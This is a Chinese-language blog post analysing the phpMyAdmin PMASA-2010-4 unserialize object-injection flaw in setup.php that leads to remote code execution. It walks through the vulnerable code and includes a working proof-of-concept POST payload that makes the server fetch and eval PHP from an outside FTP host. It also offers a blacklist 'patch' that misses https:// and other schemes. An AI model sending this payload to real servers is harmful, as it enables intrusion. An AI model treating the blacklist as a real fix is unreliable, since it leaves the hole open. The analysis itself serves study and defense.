• phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4


    目录

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    对这个漏洞简单的概括如下

    1. "/scripts/setup.php"会接收用户发送的序列化POST数据
    action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.62%2fs.txt%22%3B%7D%7D
    /*
    token要动态获取
    action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
    */
    
    2. "/scripts/setup.php"会对"$_POST['configuration']"进行反序列化
    setup.php在反序列化的时候,程序未对输入的原始数据进行有效地恶意检测
    
    3. 黑客可以在POST数据中注入"序列化后的PMA_Config对象"
    setup.php在反序列化一个"序列化后的PMA_Config对象"的时候,会对这个对象进行"重新初始化",即再次调用它的构造函数
    function __construct($source = null)
    {
        $this->settings = array();
    
        // functions need to refresh in case of config file changed goes in
        // PMA_Config::load()
        $this->load($source);
    
        // other settings, independant from config file, comes in
        $this->checkSystem();
    
        $this->checkIsHttps();
    }
    
    4. PMA_Config对象的构造函数会重新引入"$source"对应的配置文件,这个"$source"是对象重新初始化时本次注册得到的,使用eval执行的方式将配置文件中的变量"本地变量注册化"
    function load($source = null)
    {
        $this->loadDefaults();
    
        if (null !== $source) {
            $this->setSource($source);
        }
    
        if (! $this->checkConfigSource()) {
            return false;
        }
    
        $cfg = array();
    
        /**
         * Parses the configuration file
         */
        $old_error_reporting = error_reporting(0);
        //使用eval方式引入外部的配置文件
        if (function_exists('file_get_contents')) 
        {
            $eval_result = eval('?>' . trim(file_get_contents($this->getSource())));
        } 
        else 
        {
            $eval_result =
            eval('?>' . trim(implode("
    ", file($this->getSource()))));
        }
        error_reporting($old_error_reporting);
    
        if ($eval_result === false) {
            $this->error_config_file = true;
        } else  {
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }
        ...

    最终的结果是,程序代码引入了黑客注入的外部文件的PHP代码,并使用eval进行了执行,导致RCE

    Relevant Link:

    http://php.net/manual/zh/function.unserialize.php
    http://drops.wooyun.org/papers/596
    http://drops.wooyun.org/tips/3909
    http://blog.csdn.net/cnbird2008/article/details/7491216


    2. 漏洞触发条件

    0x1: POC

    token需要动态获取

    1. POST
    http://localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php
    
    2. DATA
    action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.62%2fs.txt%22%3B%7D%7D
    /*
    source要是一个外部的文本文件,需要返回的是原生的PHP代码
    a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
    */



    3. 漏洞影响范围

    1. phpmyadmin 2.10
    2. <= phpmyadmin 2.10

    4. 漏洞代码分析

    0x1: PHP serialize && unserialize

    关于PHP序列化、反序列化存在的安全问题相关知识,请参阅另一篇文章

    http://www.cnblogs.com/LittleHann/p/4242535.html

    0x2: "/scripts/setup.php"

    if (isset($_POST['configuration']) && $action != 'clear' ) 
    {
        // Grab previous configuration, if it should not be cleared
        $configuration = unserialize($_POST['configuration']);
    } 
    else 
    {
        // Start with empty configuration
        $configuration = array();
    }

    漏洞的根源在于程序信任了用户发送的外部数据,直接进行本地序列化,从而导致"对象注入",黑客通过注入当前已经存在于代码空间的PMA_Config对象,php在反序列化的时候,会自动调用对象的__wakeup函数,在__wakeup函数中,会使用外部传入的$source参数,作为配置文件的来源,然后使用eval将其引入到本地代码空间

    0x3: librariesConfig.class.php

    /**
         * re-init object after loading from session file
         * checks config file for changes and relaods if neccessary
         */
        function __wakeup()
        {
          //在执行__wakeup()的时候,$source已经被注册为了外部传入的$source参数
            if (! $this->checkConfigSource()
              || $this->source_mtime !== filemtime($this->getSource())
              || $this->default_source_mtime !== filemtime($this->default_source)
              || $this->error_config_file
              || $this->error_config_default_file) {
                $this->settings = array(); 
                $this->load();
                $this->checkSystem();
            }
    
            // check for https needs to be done everytime,
            // as https and http uses same session so this info can not be stored
            // in session
            $this->checkIsHttps();
    
            $this->checkCollationConnection();
            $this->checkFontsize();
        }


    5. 防御方法

    0x1: Apply Patch

    if (isset($_POST['configuration']) && $action != 'clear' ) 
    { 
        $configuration = array(); 
        //协议的匹配忽略大小写
        if ( (strpos($_POST['configuration'], "PMA_Config") !== false) && ( (stripos($_POST['configuration'], "ftp://") !== false) || (stripos($_POST['configuration'], "http://") !== false) ) ) 
        { 
            $configuration = array();
        } 
        else
        {
            // Grab previous configuration, if it should not be cleared
            $configuration = unserialize($_POST['configuration']); 
        }  
    } 
    else 
    {
        // Start with empty configuration
        $configuration = array();
    }

    6. 攻防思考

    Copyright (c) 2014 LittleHann All rights reserved

  • 相关阅读:
    Navigator is deprecated and has been removed from this package
    ES6 Promise
    SectionList的使用
    FastList使用
    react native touchable
    react native获取屏幕的宽度和高度
    RN导航栏使用
    2020-11-04:java里,总体说一下集合框架。
    2020-11-03:手写代码:链表如何快速找到中间节点?
    2020-11-02:go中,s:=make([]string,10);s=append(s,“test“);fmt.Println(s[0]),打印什么?
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4239944.html
Copyright © 2020-2023  润新知